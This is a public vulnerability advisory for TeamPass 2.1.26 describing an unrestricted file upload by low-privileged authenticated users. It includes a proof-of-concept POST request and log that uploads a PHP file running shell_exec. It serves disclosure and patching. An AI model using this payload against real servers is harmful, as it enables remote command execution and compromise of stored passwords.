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Teampass 2.1.26 - Authenticated File Upload Vulnerability



Document Title:
===============
Teampass 2.1.26 - Authenticated File Upload Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1866


Release Date:
=============
2016-07-06


Vulnerability Laboratory ID (VL-ID):
====================================
1866


Common Vulnerability Scoring System:
====================================
7.2


Product & Service Introduction:
===============================
TeamPass is a Passwords Manager dedicated for managing passwords in a collaborative way on any server Apache, MySQL and PHP.
It is especially designed to provide passwords access security for allowed people. This makes TeamPass really useful in a 
Business/Enterprise environment and will provide to IT or Team Manager a powerful and easy tool for customizing passwords 
access depending on the user’s role. 

(Copy of the Homepage:  http://teampass.net/  )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a file upload vulnerability in the official Teampass v2.1.26 web-application.


Vulnerability Disclosure Timeline:
==================================
2016-07-06:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A file upload vulnerability has been discovered in the official Teampass v2.1.26 web-application.

The vulnerability allows authenticated users with low privileged accounts to upload files to the /files directory in the webroot. 
There are no filters present which checks the file extensions or contents for the files.


Proof of Concept (PoC):
=======================
Any authenticated user can upload files to the /files directory in the webroot, even low privileged users with only read-only rights can exploit this vulnerability.

Files can be uploaded by visiting http://localhost/TeamPass/sources/upload/upload.files.php?PHPSESSID=x&name=poc.php and content can be inserted with a POST request.

--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost/TeamPass/sources/upload/upload.files.php?PHPSESSID=x&name=poc.php
Request Header:
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: 157b783184cb1aa6ce3495511a879057e70d3f561f2c8d47d6=e7ea2ef5da03812806df888810bd2c671a8b8ec4b6e8e3e673; 
KEY_PHPSESSID=P4khaxdq8UTAwyOcJX5qnUYdytv6y%2BVGpcvHwunzTVQ%3D%3A3VQCIK2PC1Sa703MrzE6M%2BUFe4IpAM6AtGPUkqtMsag%3D; PHPSESSID=9q68v86v6k62l224m0419024k6; jstree_select=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
If-Modified-Since: *

POST DATA:
<?php echo shell_exec('uname -a');?>


The file will be placed in the /files directory which is http://localhost/TeamPass/files/poc.php in the PoC above.


Solution - Fix & Patch:
=======================
Update to the latest Teampass version (2.1.26/4).


Security Risk:
==============
Thanks to this vulnerability it is possible to upload a shell and execute commands with the priveleges of the webserver process. (CVSS 7.2)


Credits & Authors:
==================
Peter Kok -  [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok]


Disclaimer & Information:
=========================
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